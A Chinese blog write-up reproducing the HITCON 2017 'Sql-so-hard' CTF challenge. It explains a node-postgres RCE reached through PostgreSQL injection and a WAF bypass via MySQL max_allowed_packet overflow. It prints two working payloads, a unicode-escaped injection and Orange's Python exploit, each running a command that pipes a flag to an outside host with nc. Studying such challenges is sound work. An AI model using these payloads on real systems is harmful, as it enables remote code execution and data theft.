热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

[hitcon2017]Sqlsohard复现

最近实在是太多事情了Orz,所以没有及时更新复现。。(其实是偷懒分享本题自制Dockerfile:Github这道题涉及到的知识点:mysql的max_allowed_packet

最近实在是太多事情了Orz,所以没有及时更新复现。。(其实是偷懒

分享本题自制Dockerfile:Github

这道题涉及到的知识点:

  • mysql的max_allowed_packet
  • node-postgresql的一个RCE
  • postgresql中语句返回值的问题

本题连接了两个数据库 一个是mysql–用作waf之后ip和payload记录,另外一个是postgresql–用作注册时记录用户名称和密码

因为主要是分析大大的payload为主,这里的考察点主要是node-postgresql近期的一个RCE漏洞(https://node-postgres.com/announcements#2017-08-12-code-execution-vulnerability)

这个洞详细的分析P神已经在博客贴出来了(https://www.leavesongs.com/PENETRATION/node-postgres-code-execution-vulnerability.html)
并且复现环境p神也已经写了Dockerfile(https://github.com/vulhub/vulhub/tree/master/node/node-postgres)

简单来说就是客户端在获取表字段的时候因为转译不完全导致原本应该拼接在代码中的字段名被构造成了恶意代码传入了Function()这个类,这个类类似于PHP中的create_function,因为函数体可控 ,也就造成了命令执行。然后官方也有转译,但是官方的转译只是把‘ –> \’ , 所以在前面加个\就能逃逸出来(逃逸后的字符串就是 \\’

所以这里的目的就很明确了 –> 通过postgresql的注入造成代码拼接命令执行
ß
但是会遇到两个问题:

  1. 这里postgresql存在注入 但是首先得绕过一大堆关键字waf
  2. 我们的ip不能在mysql留下记录 (这里的waf思路是如果有keyword则插入记录 后面再查询,如果有记录则拦截)

思路:

  • 造成Mysql插入出错
    提交一个很长很长的查询(默认包大小为16M),超出max_allowed_packet造成连接关闭,sql语句就不会执行 官方文档:

    《[hitcon2017] Sql-so-hard 复现》 max_allowed_packet
    这样没有插入的话就不会查询到记录,即达到绕过waf的目的

  • 或者使用postgreSQL支持将16进制的值转换成Unicode字符、并且可以自定义转译符的特性来将关键字全部替换掉, 从而达到绕过waf的目的, Eg: 国外大佬的wp(其中空格使用\t绕过,自定义转译符为感叹号)

','')\tON\tCONFLICT\t(username)\tDO\tUPDATE\tSET\tusername=''\tRETURNING\t1\tAS\tU&"!005c!0027+(r=process.mainModule.require,l=!0022!0022)]!002f!002f"\tUESCAPE\t'!',\t1\tAS\tU&"!005c!0027+(l+=!0022!002freadflag|nc!0020123.123!0022)]!002f!002f"\tUESCAPE\t'!',\t1\tAS\tU&"!005c!0027+(l+=!0022.123.123!00201234!0022)]!002f!002f"\tUESCAPE\t'!',\t1\tAS\tU&"!005c!0027+(r(!0022child_process!0022).execSync(l))]!002f!002f"\tUESCAPE\t'!';

  • 构造RCE代码2017-08-12 – code execution vulnerability
    目的是构造相应的字段名称造成RCE(详细原因请看P神关于漏洞的分析)
    这里会出现新问题:
    • 不能控制insert的字段名,并且insert没有返回值(?)
    • 这里利用了分号切割sql语句,不能通过;闭合sql语句的方式构造RCE

这里阅读 文档, postgresql允许在insert或者update后选择一个或多个字段返回, 所以在这里就有可控字段名了, 使用格式 insert into xx(aa,bb) values('cc','dd') returning ee as ff;
最后就是构造RCE中P神在博客中提到的

单双引号都不能正常使用,我们可以使用es6中的反引号
Function环境下没有require函数, 不能获得child_process模块, 但是可以通过process.mainModule.constructor._load来代替require
一个fieldName只能有64位长度, 所以通过多个fieldName拼接来完成利用

最后是orange大大的exp:

from random import randint
import requests
# payload = "union"
payload = """','')/*%s*/returning(1)as"\\'/*",(1)as"\\'*/-(a=`child_process`)/*",(2)as"\\'*/-(b=`/readflag|nc 10.188.2.20 9999`)/*",(3)as"\\'*/-console.log(process.mainModule.require(a).exec(b))]=1//"--""" % (' '*1024*1024*16)
username = str(randint(1, 65535))+str(randint(1, 65535))+str(randint(1, 65535))
data = {
'username': username+payload,
'password': '##'
}
print 'ok'
r = requests.post('http://10.188.2.20:12345/reg', data=data);
print r.content

参考:
https://github.com/orangetw/My-CTF-Web-Challenges
https://www.leavesongs.com/PENETRATION/node-postgres-code-execution-vulnerability.html
https://github.com/vulhub/vulhub/tree/master/node/node-postgres
https://www.postgresql.org/docs/9.6/static/sql-syntax-lexical.html
https://www.postgresql.org/docs/9.5/static/dml-returning.html
https://github.com/sorgloomer/writeups/blob/master/writeups/2017-hitcon-quals/sql-so-hard.md
https://node-postgres.com/announcements#2017-08-12-code-execution-vulnerability


推荐阅读
  • 在 Axublog 1.1.0 版本的 `c_login.php` 文件中发现了一个严重的 SQL 注入漏洞。该漏洞允许攻击者通过操纵登录请求中的参数,注入恶意 SQL 代码,从而可能获取敏感信息或对数据库进行未授权操作。建议用户尽快更新到最新版本并采取相应的安全措施以防止潜在的风险。 ... [详细]
  • 网站访问全流程解析
    本文详细介绍了从用户在浏览器中输入一个域名(如www.yy.com)到页面完全展示的整个过程,包括DNS解析、TCP连接、请求响应等多个步骤。 ... [详细]
  • 开机自启动的几种方式
    0x01快速自启动目录快速启动目录自启动方式源于Windows中的一个目录,这个目录一般叫启动或者Startup。位于该目录下的PE文件会在开机后进行自启动 ... [详细]
  • 七款高效编辑器与笔记工具推荐:KindEditor自动换行功能解析
    本文推荐了七款高效的编辑器与笔记工具,并详细解析了KindEditor的自动换行功能。其中,轻笔记QingBiJi是一款完全免费的记事本软件,用户可以通过其简洁的界面和强大的功能轻松记录和管理日常事务。此外,该软件还支持多平台同步,确保用户在不同设备间无缝切换。 ... [详细]
  • 本文旨在探讨信息安全专业的职业规划路径,结合个人经历和专家建议,为即将毕业的学生提供实用的指导。 ... [详细]
  • 浅析python实现布隆过滤器及Redis中的缓存穿透原理_python
    本文带你了解了位图的实现,布隆过滤器的原理及Python中的使用,以及布隆过滤器如何应对Redis中的缓存穿透,相信你对布隆过滤 ... [详细]
  • Python 数据可视化实战指南
    本文详细介绍如何使用 Python 进行数据可视化,涵盖从环境搭建到具体实例的全过程。 ... [详细]
  • javascript分页类支持页码格式
    前端时间因为项目需要,要对一个产品下所有的附属图片进行分页显示,没考虑ajax一张张请求,所以干脆一次性全部把图片out,然 ... [详细]
  • 解决Bootstrap DataTable Ajax请求重复问题
    在最近的一个项目中,我们使用了JQuery DataTable进行数据展示,虽然使用起来非常方便,但在测试过程中发现了一个问题:当查询条件改变时,有时查询结果的数据不正确。通过FireBug调试发现,点击搜索按钮时,会发送两次Ajax请求,一次是原条件的请求,一次是新条件的请求。 ... [详细]
  • 本文详细介绍了 PHP 中对象的生命周期、内存管理和魔术方法的使用,包括对象的自动销毁、析构函数的作用以及各种魔术方法的具体应用场景。 ... [详细]
  • FreeBSD环境下PHP GD库安装问题的详细解决方案
    在 FreeBSD 环境下,安装 PHP GD 库时可能会遇到一些常见的问题。本文详细介绍了从配置到编译的完整步骤,包括解决依赖关系、配置选项以及常见错误的处理方法。通过这些详细的指导,开发者可以顺利地在 FreeBSD 上完成 PHP GD 库的安装,确保其正常运行。此外,本文还提供了一些优化建议,帮助提高安装过程的效率和稳定性。 ... [详细]
  • 体积小巧的vsftpd与pureftpd Docker镜像在Unraid系统中的详细配置指南:支持TLS加密及IPv6协议
    本文详细介绍了如何在Unraid系统中配置体积小巧的vsftpd和Pure-FTPd Docker镜像,以支持TLS加密和IPv6协议。通过这些配置,用户可以实现安全、高效的文件传输服务,适用于各种网络环境。配置过程包括镜像的选择、环境变量的设置以及必要的安全措施,确保了系统的稳定性和数据的安全性。 ... [详细]
  • C++ 开发实战:实用技巧与经验分享
    C++ 开发实战:实用技巧与经验分享 ... [详细]
  • 提升 Kubernetes 集群管理效率的七大专业工具
    Kubernetes 在云原生环境中的应用日益广泛,然而集群管理的复杂性也随之增加。为了提高管理效率,本文推荐了七款专业工具,这些工具不仅能够简化日常操作,还能提升系统的稳定性和安全性。从自动化部署到监控和故障排查,这些工具覆盖了集群管理的各个方面,帮助管理员更好地应对挑战。 ... [详细]
  • 2018年9月21日,Destoon官方发布了安全更新,修复了一个由用户“索马里的海贼”报告的前端GETShell漏洞。该漏洞存在于20180827版本的某CMS中,攻击者可以通过构造特定的HTTP请求,利用该漏洞在服务器上执行任意代码,从而获得对系统的控制权。此次更新建议所有用户尽快升级至最新版本,以确保系统的安全性。 ... [详细]
author-avatar
羽书uv吧
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有